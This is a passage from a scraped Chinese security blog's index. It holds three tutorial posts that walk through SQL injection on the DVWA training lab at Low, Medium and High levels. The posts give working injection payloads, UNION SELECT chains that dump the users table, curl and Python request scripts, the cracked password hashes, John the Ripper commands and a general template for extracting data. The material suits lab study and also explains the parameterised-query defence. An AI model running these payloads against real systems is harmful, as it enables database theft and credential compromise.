payload，眼睛移到结果页看输出。比 Low 多一次鼠标点击，但不影响任何注入逻辑。Payload 还是 1' or '1'='1' #，后端 SQL 还是 WHERE user_id = '$id'——什么都没变。\n对自动化脚本：增加了一个步骤 Low/Medium 只需一个请求就拿到结果：\n# Low：一条 GET 搞定 response = requests.get(url + \u0026#34;?id=\u0026#34; + payload) data = parse_result(response) High 需要两个请求串联：\n# High：先 POST 存 payload，再 GET 读结果 session = requests.Session() session.post(session_page, data={\u0026#34;id\u0026#34;: payload}) # 第一步：存 response = session.get(result_page) # 第二步：读 data = parse_result(response) 差异就是一行代码变三行。 对任何一个会写脚本的渗透测试工程师来说，这不构成障碍。但如果是只会用 sqlmap 默认参数的人，sqlmap 跑 DVWA High 可能需要加 --level=3 才能自动跟踪 session 跨页面——而很多人不知道这个参数，跑不出来就说\u0026quot;没漏洞\u0026quot;。\n真正的防御应该是什么 Impossible 等级才会出现真正的防御：\n// 参数化查询（预处理语句） $stmt = $pdo-\u0026gt;prepare(\u0026#34;SELECT * FROM users WHERE user_id = :id\u0026#34;); $stmt-\u0026gt;execute([\u0026#39;id\u0026#39; =\u0026gt; $id]); // 输入类型校验 if (!is_numeric($id)) { die(\u0026#34;Invalid ID\u0026#34;); } // 结果数量限制 if ($stmt-\u0026gt;rowCount() \u0026gt; 1) { die(\u0026#34;Too many results\u0026#34;); } 这些才是堵漏洞的墙。 High 的 \u0026ldquo;session 分页\u0026rdquo; 只是一层包装纸。\nLow / Medium / High 三级对比 Low(1) Medium(2) High(3) 注入类型 字符型 数字型 字符型 后端 SQL WHERE id='1' WHERE id=1 WHERE id='1' 输入方式 文本框 下拉菜单 分页 + session 请求方式 GET POST POST（存 session）+ GET（显示） 后端防御 无 mysqli_real_escape_string() 无（仅 session 传递） 防御有效吗 — ❌ 数字型不需要引号 — 手动注入难度 零 零（curl 绕前端） 零（多点一下鼠标） 自动化难度 一行 GET 一行 POST 三行——POST → GET 串联 Payload 1' or '1'='1' # 1 or 1=1 1' or '1'='1' # 关键教训 字符型三要素：闭合→注入→注释 转义函数对数字型无效 分页只挡简单脚本，不挡人 三级通关后的认知 注入类型是第一判断。 数字型不需要引号，字符型需要闭合+注释。这一步错了，后面全部白费。\n三级防线的本质区别不在难度，在防御原理。 Low 没防，Medium 防了引号但对数字型无效，High 花了心思但分页跟安全没关系。\n手工熟练后，自动化只是提速手段。 三级的 payload 模板一样——判断类型 → 猜列数 → UNION SELECT → 偷数据。不同的是请求怎么发（GET/POST/session），而不是 SQL 怎么写。\nDVWA 真正的挑战在 Impossible。 那是用参数化查询 + 类型校验 + 结果数量限制三重防线堵死的——没有绕过方案，因为它从根本上消除了注入的可能性。\n上一篇：SQL 注入 Medium(2)\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0804_03_sql%E6%B3%A8%E5%85%A5_high_%E5%88%86%E9%A1%B5%E6%B3%A8%E5%85%A5%E4%B8%8E%E4%B8%89%E7%BA%A7%E5%AF%B9%E6%AF%943/","summary":"\u003ch2 id=\"high-的变化\"\u003eHigh 的变化\u003c/h2\u003e\n\u003cp\u003eDVWA High 的 SQL 注入与 Low/Medium 不同——输入页面和结果页面\u003cstrong\u003e分开了\u003c/strong\u003e。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eLow/Medium：  一个页面 — 上面输入框，下面结果\nHigh：        两个页面 — Session 页面（输入 payload）→ 结果页面（看输出）\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在 SQL Injection 主页面看到的是 \u0026ldquo;Click here to change your ID\u0026rdquo;，点击后弹出新页面输入 ID，Submit 后回到主页面看结果。\u003c/p\u003e\n\u003ch2 id=\"后端做了什么\"\u003e后端做了什么\u003c/h2\u003e\n\u003cp\u003eHigh 的 PHP 源码逻辑：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 结果页面（sqli.php）：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003eisset\u003c/span\u003e($_SESSION[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e])) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $_SESSION[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    $query \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e$id\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 执行查询，显示结果\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// 输入页面（sqli_session.php）：\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e$_SESSION[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e $_POST[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e];\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePayload 存在 PHP session 变量里，两个页面通过 \u003ccode\u003e$_SESSION['id']\u003c/code\u003e 共享同一个值。\u003cstrong\u003eSQL 语句本身没有任何变化——字符型注入，没有任何过滤。\u003c/strong\u003e\u003c/p\u003e","title":"SQL 注入 High(3)：分页注入与三级对比总结"},{"content":"Medium 的变化 DVWA Medium 相比 Low 加了三道防线：\n防线 Low Medium 有效吗 输入方式 文本框 下拉菜单（1-5） ⚠️ 前端限制，可绕过 请求方式 GET POST ⚠️ 换种发请求的方式 后端过滤 无 mysqli_real_escape_string() 转义 ' ❌ 数字型没有引号可转 关键发现：Medium 后端 SQL 是数字型——WHERE user_id = 1，没有单引号包裹参数。\n绕过下拉菜单：curl + Burp Suite 代理 环境 Kali Firefox → Burp Suite (127.0.0.1:8081) → DVWA (127.0.0.1:8080) SSH 隧道：Kali 8080 → mycvm 127.0.0.1:8080（DVWA 容器） Burp 代理：Kali 8081 → 截获/修改请求 → 转发到 8080 Burp Suite 配置 Kali 桌面搜 burp → Burp Suite Community → Temporary project → Use Burp defaults → Start Proxy → Options → Proxy Listeners → 确认/添加 127.0.0.1:8081 Firefox → Settings → Network Settings → Manual proxy → 127.0.0.1:8081 → 勾选 \u0026ldquo;Also use this proxy for HTTPS\u0026rdquo; 用 curl 绕过下拉菜单 DVWA Medium 的 SQL Injection 使用 POST 请求。curl 直接发 POST，不受前端下拉菜单限制：\ncurl -s -x http://127.0.0.1:8081 \\ \u0026#34;http://127.0.0.1:8080/vulnerabilities/sqli/\u0026#34; \\ -b \u0026#34;PHPSESSID=xxx; security=medium\u0026#34; \\ -d \u0026#34;id=1\u0026amp;Submit=Submit\u0026#34; 其中 -x 指定 Burp 代理，-b 携带登录 cookie，-d 是 POST 数据体。\n注入流程 第一步：确认注入点 — 1 or 1=1 Medium 是数字型，不需要闭合引号。直接测试：\n输入：id=1 or 1=1 curl -s -x http://127.0.0.1:8081 \\ \u0026#34;http://127.0.0.1:8080/vulnerabilities/sqli/\u0026#34; \\ -b \u0026#34;PHPSESSID=xxx; security=medium\u0026#34; \\ -d \u0026#34;id=1 or 1=1\u0026amp;Submit=Submit\u0026#34; | grep -oP \u0026#39;\u0026lt;pre\u0026gt;.*?\u0026lt;/pre\u0026gt;\u0026#39; 返回：全部五个用户（admin、Gordon、Hack、Pablo、Bob）。注入成功。\nmysqli_real_escape_string() 转义的是 '，但数字型 SQL 根本没有引号—— 防御完全打在空气上。\n第二步：猜列数 — ORDER BY id=1 order by 2 → 正常 id=1 order by 3 → Unknown column \u0026#39;3\u0026#39; in \u0026#39;order clause\u0026#39; 列数 = 2。\n第三步：确认显示位置 id=1 union select 1,2 返回： First name: admin Surname: admin ← 原始查询 First name: 1 Surname: 2 ← 注入数据显示在两列 第四步：查库名 id=1 union select database(),2 返回：First name: dvwa 第五步：查表名 id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database() 返回：First name: guestbook,users 第六步：脱裤 id=1 union select user,password from users user | password ─────────┼────────────────────────────────── admin | 5f4dcc3b5aa765d61d8327deb882cf99 gordonb | e99a18c428cb38d5f260853678922e03 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 smithy | 5f4dcc3b5aa765d61d8327deb882cf99 curl 命令逐字拆解 Medium 的每条 curl 命令结构都是一样的。以查库名那条为例：\ncurl -s -x http://127.0.0.1:8081 \\ \u0026#34;http://127.0.0.1:8080/vulnerabilities/sqli/\u0026#34; \\ -b \u0026#34;PHPSESSID=xxx; security=medium\u0026#34; \\ -d \u0026#34;id=1 union select database(),2\u0026amp;Submit=Submit\u0026#34; 参数逐个拆 参数 含义 为什么需要 curl 命令行 HTTP 客户端 用它在终端发请求，不需要浏览器 -s silent，安静模式 不显示进度条，只显示响应内容 -x http://127.0.0.1:8081 proxy，走代理 请求经过 Burp Suite（8081），Burp 记录流量后转发给 DVWA（8080） \u0026quot;http://127.0.0.1:8080/vulnerabilities/sqli/\u0026quot; 目标 URL DVWA SQL 注入页面的地址 -b \u0026quot;PHPSESSID=xxx; security=medium\u0026quot; cookie 证明\u0026quot;我已经登录了，安全等级是 Medium\u0026quot;（详见下一节） -d \u0026quot;id=1...\u0026amp;Submit=Submit\u0026quot; data，POST 请求体 Medium 用 POST 接收参数。id= 是注入点，Submit=Submit 是提交按钮的名字 -d 参数的来源 DVWA Medium 页面提交时，浏览器实际发送的是一个 POST 请求，请求体格式是：\nid=1\u0026amp;Submit=Submit id=1 是用户输入的值，Submit=Submit 是表单按钮的键值对。-d 就是模拟这个 POST 请求体。\u0026amp; 分隔多个参数，跟 URL 里的 ?a=1\u0026amp;b=2 一个道理，只不过 POST 把参数放在请求体内而不是 URL 后面。\n把这个命令翻译成人话 curl，安静地，通过 8081 端口的 Burp 代理，向 127.0.0.1:8080 的 DVWA SQL 注入页面发一个 POST 请求，带上\u0026quot;已登录、安全等级 Medium\u0026quot;的 cookie，POST 数据体里放我的注入 payload。\n每条注入命令只改 -d 里的 id= 后面的内容 # 探测注入点 -d \u0026#34;id=1 or 1=1\u0026amp;Submit=Submit\u0026#34; # 猜列数 -d \u0026#34;id=1 order by 2\u0026amp;Submit=Submit\u0026#34; # 确认显示位置 -d \u0026#34;id=1 union select 1,2\u0026amp;Submit=Submit\u0026#34; # 查库名 -d \u0026#34;id=1 union select database(),2\u0026amp;Submit=Submit\u0026#34; # 查表名 -d \u0026#34;id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()\u0026amp;Submit=Submit\u0026#34; # 脱裤 -d \u0026#34;id=1 union select user,password from users\u0026amp;Submit=Submit\u0026#34; 模板固定，只要改 id= 后面的 SQL 片段即可。 考试和实战中用脚本自动化时也是这样——循环改 id= 的值，curl 模板不变。\nCookie 是什么 HTTP 本身是无状态的——服务器不记得\u0026quot;上一个请求是谁发的\u0026quot;。每次请求都是新的。\n没有 Cookie 的世界 请求 1：curl http://dvwa/ → 登录页面 请求 2：curl http://dvwa/ → 还是登录页面（服务器不认识你，因为你没带任何身份信息） 有了 Cookie 请求 1：登录 → 服务器验证账号密码正确 → 服务器生成一个随机串 PHPSESSID=09js6r... → 把这个串返回给浏览器 请求 2：浏览器请求 http://dvwa/sqli/ → 自动在请求头里带上 Cookie: PHPSESSID=09js6r... → 服务器看到这个 cookie → \u0026#34;哦，是你，已经登录了\u0026#34; → 返回数据 Cookie = 服务器发给你的\u0026quot;临时身份证\u0026quot;。 后续每个请求你都把这个证带在身上，服务器就认识你。\nDVWA 需要两个 cookie 我们用 -b 带了两个：\ncookie 值 含义 PHPSESSID 09js6r8eeo4js3jpal9evjnd06 会话 ID——证明\u0026quot;我已经登录了\u0026quot;。登录后服务器分配，30 分钟不活动会失效。 security medium 安全等级——告诉 DVWA\u0026quot;我选了 Medium\u0026quot;。没有这个的话，即使你带对了 PHPSESSID，SQL 注入页面可能按 Low 等级处理。 怎么拿到这两个 cookie 的值 在 Firefox 里登录 DVWA、把 Security 调成 Medium 后，F12 → Storage → Cookies → http://127.0.0.1:8080 → 直接看到所有 cookie 的名字和值。复制到 curl 的 -b 参数里就行。\nPHPSESSID 每次登录会变——下次失效时重新在 F12 里复制。\n如果你不用 -b 带 cookie curl http://127.0.0.1:8080/vulnerabilities/sqli/ -d \u0026#34;id=1\u0026amp;Submit=Submit\u0026#34; # 服务器：你是谁？没登录 → 返回 302 重定向 → 跳转到登录页 # 你看不到任何数据 Low vs Medium 对比 Low(1) Medium(2) 注入类型 字符型 数字型 后端 SQL WHERE user_id = '1' WHERE user_id = 1 需要闭合引号 ✅ 1' ... # ❌ 不需要 需要注释符 ✅ # 吞后引号 ❌ 没有后引号可吞 防御手段 无 mysqli_real_escape_string() → 对数字型无效 前端限制 无 下拉菜单 → curl 绕过 请求方式 GET POST → curl -d 参数 Payload 1' or '1'='1' # 1 or 1=1 核心教训 mysqli_real_escape_string() 只对字符型查询有效。 如果后端 SQL 没有用引号包裹参数（数字型），转义函数形同虚设。一条经验法则：先判断注入类型——数字型不需要 '，绕过转义的复杂度直接降为零。\n为什么不用 Burp Intercept 直接改请求 Firefox 对 127.0.0.1 默认不经过代理，且 Intercept 模式会截住所有请求（包括 Firefox 后台服务），干扰大。curl + Burp 代理模式更干净——不拦截请求，只让 Burp 充当\u0026quot;旁观记录\u0026quot;的角色，curl 充当\u0026quot;发请求的手\u0026quot;。Burp 的 HTTP History 标签可以查看所有请求/响应。\n上一篇：SQL 注入 Low(1)\n下一篇：DVWA High — 更复杂的过滤与绕过\n","permalink":"https://www.renjiaxing.ren/posts/%E6%8A%80%E6%9C%AF/2026_0804_02_sql%E6%B3%A8%E5%85%A5_medium_%E6%95%B0%E5%AD%97%E5%9E%8B%E6%B3%A8%E5%85%A5%E4%B8%8Eburp%E7%BB%95%E8%BF%872/","summary":"\u003ch2 id=\"medium-的变化\"\u003eMedium 的变化\u003c/h2\u003e\n\u003cp\u003eDVWA Medium 相比 Low 加了三道防线：\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003e防线\u003c/th\u003e\n          \u003cth\u003eLow\u003c/th\u003e\n          \u003cth\u003eMedium\u003c/th\u003e\n          \u003cth\u003e有效吗\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e输入方式\u003c/td\u003e\n          \u003ctd\u003e文本框\u003c/td\u003e\n          \u003ctd\u003e下拉菜单（1-5）\u003c/td\u003e\n          \u003ctd\u003e⚠️ 前端限制，可绕过\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e请求方式\u003c/td\u003e\n          \u003ctd\u003eGET\u003c/td\u003e\n          \u003ctd\u003ePOST\u003c/td\u003e\n          \u003ctd\u003e⚠️ 换种发请求的方式\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e后端过滤\u003c/td\u003e\n          \u003ctd\u003e无\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003emysqli_real_escape_string()\u003c/code\u003e 转义 \u003ccode\u003e'\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003e❌ 数字型没有引号可转\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e\u003cstrong\u003e关键发现：Medium 后端 SQL 是数字型——\u003ccode\u003eWHERE user_id = 1\u003c/code\u003e，没有单引号包裹参数。\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"绕过下拉菜单curl--burp-suite-代理\"\u003e绕过下拉菜单：curl + Burp Suite 代理\u003c/h2\u003e\n\u003ch3 id=\"环境\"\u003e环境\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eKali Firefox → Burp Suite (127.0.0.1:8081) → DVWA (127.0.0.1:8080)\nSSH 隧道：Kali 8080 → mycvm 127.0.0.1:8080（DVWA 容器）\nBurp 代理：Kali 8081 → 截获/修改请求 → 转发到 8080\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"burp-suite-配置\"\u003eBurp Suite 配置\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003eKali 桌面搜 \u003ccode\u003eburp\u003c/code\u003e → Burp Suite Community → Temporary project → Use Burp defaults → Start\u003c/li\u003e\n\u003cli\u003eProxy → Options → Proxy Listeners → 确认/添加 \u003ccode\u003e127.0.0.1:8081\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFirefox → Settings → Network Settings → Manual proxy → \u003ccode\u003e127.0.0.1:8081\u003c/code\u003e → 勾选 \u0026ldquo;Also use this proxy for HTTPS\u0026rdquo;\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"用-curl-绕过下拉菜单\"\u003e用 curl 绕过下拉菜单\u003c/h3\u003e\n\u003cp\u003eDVWA Medium 的 SQL Injection 使用 POST 请求。curl 直接发 POST，不受前端下拉菜单限制：\u003c/p\u003e","title":"SQL 注入 Medium(2)：数字型注入与 Burp Suite 绕过"},{"content":"第一部分：SQL 注入概述 什么是 SQL 注入 SQL 注入（SQL Injection）是将恶意的 SQL 语句片段插入到应用程序的输入参数中，让后端数据库误以为这是合法的查询指令并执行它。\n简单说：你的输入被当作代码执行了。\n正常请求： 浏览器 → 输入 user_id=1 → 服务器 → SQL: SELECT * FROM users WHERE id=\u0026#39;1\u0026#39; → 返回 admin 注入请求： 浏览器 → 输入 user_id=1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # → 服务器 → SQL 被篡改 → 返回全部用户数据 为什么 SQL 注入能成立 三个条件同时满足：\n用户输入直接拼接到 SQL 语句中（没有参数化查询） 输入中的特殊字符（'、\u0026quot;、--、#）没有被转义或过滤 数据库把拼接后的字符串当作 SQL 执行 这三个条件缺一个，注入就不成立。\n注入的本质：脱离数据上下文，进入代码上下文 SELECT * FROM users WHERE id = \u0026#39;1\u0026#39; │ │ │ └── 后引号（后端写死的） └── 前引号（后端写死的，你的输入从它后面开始） -- 正常输入时，你的数据在引号里——是\u0026#34;数据\u0026#34; -- 你的输入里包含 \u0026#39; 后，你提前闭合了引号——后面的内容进入了\u0026#34;代码\u0026#34;区域 -- 这就是注入的本质 什么是 Payload Payload = 攻击载荷 = 你精心构造的那段输入字符串。\n正常输入： 1 ← 只是数据 Payload： 1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # ← 数据 + SQL 代码 + 注释符 Payload 的三个组成部分：\n1\u0026#39; ← 正常数据 + 闭合符（跳出数据上下文） or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; ← 注入的 SQL 代码（攻击逻辑） # ← 注释符（清理尾部，防止语法错误） 三要素：闭合 → 注入 → 注释。\nSQL 注入的核心分类 按后端 SQL 中参数的类型分为两类：\n类型 后端 SQL 写法 特征 数字型 WHERE id = 1（没有引号） 1 or 1=1 直接生效，不需要引号 字符型 WHERE id = '1'（有引号） 需要先闭合引号，再注入逻辑 按注入手法分为：\n手法 适用场景 核心思路 联合查询（UNION） 页面显示查询结果 用 UNION SELECT 偷其他表的数据 报错注入 页面显示错误信息 通过报错函数（extractvalue/updatexml）把数据带出来 布尔盲注 只有\u0026quot;正常/异常\u0026quot;两种反馈 逐个字符猜解，成立时正常，不成立时异常 时间盲注 完全没有任何反馈 条件成立时延迟（sleep），用响应时间判断 堆叠注入 数据库支持多语句 用 ； 分隔，执行多条 SQL 第二部分：手工测试——DVWA Low 字符型注入实战 环境信息 靶机： DVWA（Docker 容器，127.0.0.1:8080，SSH 隧道访问） 安全等级： Low 页面： SQL Injection → User ID 输入框 数据库： MariaDB（MySQL 兼容） 第一节：确认注入点 第一步：正常输入——理解功能 输入 1 → First name: admin Surname: admin 输入 2 → First name: Gordon Surname: Brown 得到的信息： 输入的是用户 ID，返回的是姓名。后端用 ID 查用户表。\n第二步：试探引号——1' 输入 1\u0026#39; → 仍然返回 admin，没报错 得到的信息： 多出的 ' 没让 SQL 崩溃。DVWA Low 可能做了容错，先不急于下结论。\n第三步：关键判断——数字型还是字符型 输入 1 or 1=1 → 只返回 admin，没有返回全部用户 这是决定性的一步。 如果后端 SQL 是数字型：\nWHERE user_id = 1 or 1=1 ← or 1=1 被当作代码执行了 → 返回全部 如果后端 SQL 是字符型：\nWHERE user_id = \u0026#39;1 or 1=1\u0026#39; ← 整个被引号包住，当作字符串 → 只返回一条 实际结果只返回了一条 → 确认是字符型注入，输入被单引号包裹。\n第四步：构造 Payload 既然输入被包在单引号里，Payload 必须做三件事：\n1. 闭合前端的前引号 2. 注入永远为真的条件 3. 注释掉后端的多余后引号 构造：\n1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # 还原到后端 SQL：\n-- 后端模板： SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;[输入]\u0026#39; -- 替换后： SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # \u0026#39; │ │ │ │ │ │ │ │ │ └── 被 # 注释吞掉 │ │ │ └── 注入条件：永远真 │ │ └── 闭合后端前引号 │ └── 正常 ID 值 └── 后端代码写的前引号 结果：返回了全部五个用户（admin、Gordon、Hack、Pablo、Bob）。注入成功。\nPayload 三要素总结 闭合：1\u0026#39; → 用 \u0026#39; 匹配掉后端写死的前引号，后面的内容不再是\u0026#34;数据\u0026#34; 注入：or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; → 你写的 SQL 代码，\u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; 永远为真，OR 让它作用于所有行 注释：# → MySQL/MariaDB 注释符，把后端写死的后引号变成无效文本 手工测试决策流程 正常输入（1, 2） → 理解功能 ↓ 加引号测试（1\u0026#39;） → 看是否报错（判断有没有过滤/转义） ↓ 注入判断符（1 or 1=1） ├── 返回全部 → 数字型，直接注入 ├── 返回一条 → 字符型，用引号闭合 ├── 报错 → 可能有括号或特殊语法 └── 空白 → 有过滤，需要绕过 ↓ 构造 Payload（闭合 + 注入 + 注释） ↓ 注入成功 → 进入数据提取阶段（UNION SELECT 偷表） 第二节：UNION SELECT 联合查询 — 从注入到脱裤 UNION 是什么 正常查询返回一张表。UNION 可以把另一张表拼在下面：\nSELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT \u0026#39;hello\u0026#39;, \u0026#39;world\u0026#39; 结果会多出一行——hello 和 world 出现在页面上。这就是注入数据的原理：用 UNION 把想偷的数据拼到正常查询结果下面。\nUNION 的铁律：前后两个 SELECT 的列数必须相等。\n第一步：猜列数 — ORDER BY 从 1 开始往上加，加到报错为止，报错前的数字就是列数。\n输入：1\u0026#39; order by 1 # → 正常 输入：1\u0026#39; order by 2 # → 正常 输入：1\u0026#39; order by 3 # → 报错：Unknown column \u0026#39;3\u0026#39; in \u0026#39;order clause\u0026#39; 结论：列数 = 2。 正好对应页面显示的 First name 和 Surname 两列。\n第二步：确认显示位置 — UNION SELECT 数字占位 已经知道原始查询返回 2 列。用 union select 在上面注入数据，验证哪些列能显示在页面上：\n输入：1\u0026#39; union select 1, 2 # 最终得出的查询：\nSELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT 1, 2 返回结果： 第一行：First name: admin Surname: admin ← 原始查询的 admin 第二行：First name: 1 Surname: 2 ← 注入的数据被显示出来了 结论：两列都能显示注入数据。 1 显示在 First name 位置，2 显示在 Surname 位置。\n第三步：偷数据库名 — database() 输入：1\u0026#39; union select database(), 2 # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT database(), 2 返回：First name: dvwa Surname: 2 数据库名：dvwa。 注意第一个 2 的作用——只是占位符，凑够 UNION 要求的 2 列。实际数据从 database() 返回在第一列。\n第四步：查所有表名 — information_schema.tables -- information_schema 是 MySQL/MariaDB 的系统库，存储了所有数据库的元数据 -- information_schema.tables 记录了所有表的信息 -- group_concat() 把多行合并成一行，用逗号分隔 输入：1\u0026#39; union select group_concat(table_name), 2 from information_schema.tables where table_schema=database() # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema = database() 返回：First name: guestbook,users Surname: 2 两个表：guestbook 和 users。 优先查 users——里面大概率有账号密码。\n第五步：查 users 表的列名 — information_schema.columns 输入：1\u0026#39; union select group_concat(column_name), 2 from information_schema.columns where table_name=\u0026#39;users\u0026#39; # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT group_concat(column_name), 2 FROM information_schema.columns WHERE table_name = \u0026#39;users\u0026#39; 返回：First name: user_id,first_name,last_name,user,password,avatar,last_login,failed_login Surname: 2 8 列。核心是 user 和 password。\n第六步：偷密码 hash 输入：1\u0026#39; union select user, password from users # SELECT first_name, last_name FROM users WHERE user_id = \u0026#39;1\u0026#39; UNION SELECT user, password FROM users 返回结果（5 行，点 Submit 依次出现）： user | password (MD5 hash) ─────────┼────────────────────────────────── admin | 5f4dcc3b5aa765d61d8327deb882cf99 gordonb | e99a18c428cb38d5f260853678922e03 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 smithy | 5f4dcc3b5aa765d61d8327deb882cf99 完整用户表已脱裤。\n关于这些 hash 32 位十六进制 → MD5。几条常见弱密码可以一眼认出来：\n5f4dcc3b5aa765d61d8327deb882cf99 = password e99a18c428cb38d5f260853678922e03 = abc123 8d3533d75ae2c3966d7e0d4fcc69216b = charley 0d107d09f5bbe40cade3de5c71e9e9b7 = letmein 未知 hash 用 John 暴破：\necho \u0026#39;5f4dcc3b5aa765d61d8327deb882cf99\u0026#39; \u0026gt; hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt john --show hashes.txt 完整攻击链回顾（DVWA Low SQL Injection 全流程） ┌──────────────────────────────────────────────────────────┐ │ 阶段一：注入点探测 │ │ │ │ 输入 结果 分析 │ │ ──── ──── ──── │ │ 1 admin 正常 │ │ 2 Gordon 另一个用户，确认功能是 ID→姓名 │ │ 1\u0026#39; admin 没报错，DVWA Low 容错处理 │ │ 1 or 1=1 admin 只返回一条 → 被引号包住 → 字符型 │ │ 1\u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1\u0026#39; # 全部五条 → 注入成功！ │ │ │ │ 结论：字符型 SQL 注入，Payload 三要素生效（闭合/注入/注释） │ └──────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────┐ │ 阶段二：UNION SELECT 数据提取 │ │ │ │ 操作 Payload │ │ ──── ─────── │ │ 猜列数 1\u0026#39; order by N # → N=2 │ │ 确认显示位置 1\u0026#39; union select 1,2 # │ │ → 两列都能显示注入数据 │ │ │ │ 查库名 1\u0026#39; union select database(),2 # │ │ → dvwa │ │ │ │ 查表名 1\u0026#39; union select │ │ group_concat(table_name),2 │ │ from information_schema.tables │ │ where table_schema=database() # │ │ → guestbook, users │ │ │ │ 查列名 1\u0026#39; union select │ │ group_concat(column_name),2 │ │ from information_schema.columns │ │ where table_name=\u0026#39;users\u0026#39; # │ │ → user, password 等 8 列 │ │ │ │ 偷数据 1\u0026#39; union select user,password │ │ from users # │ │ → 5 个用户的 MD5 hash │ └──────────────────────────────────────────────────────────┘ ↓ ┌──────────────────────────────────────────────────────────┐ │ 阶段三：Hash 破解 │ │ │ │ admin / password │ │ gordonb / abc123 │ │ 1337 / charley │ │ pablo / letmein │ │ smithy / password │ │ │ │ John the Ripper + rockyou.txt 字典暴破 │ └──────────────────────────────────────────────────────────┘ 偷数据的标准顺序（通用模板） 每遇到一个新的 SQL 注入点，按这个顺序逐层挖：\n1. database() → 当前库名 2. information_schema → 所有表名 3. 目标表的列名 → 找到 user/password 等敏感字段 4. 偷数据 → UNION SELECT 直接读 5. 其他表同理 → 逐表翻一遍 下一篇：DVWA Medium — 字符转义绕过 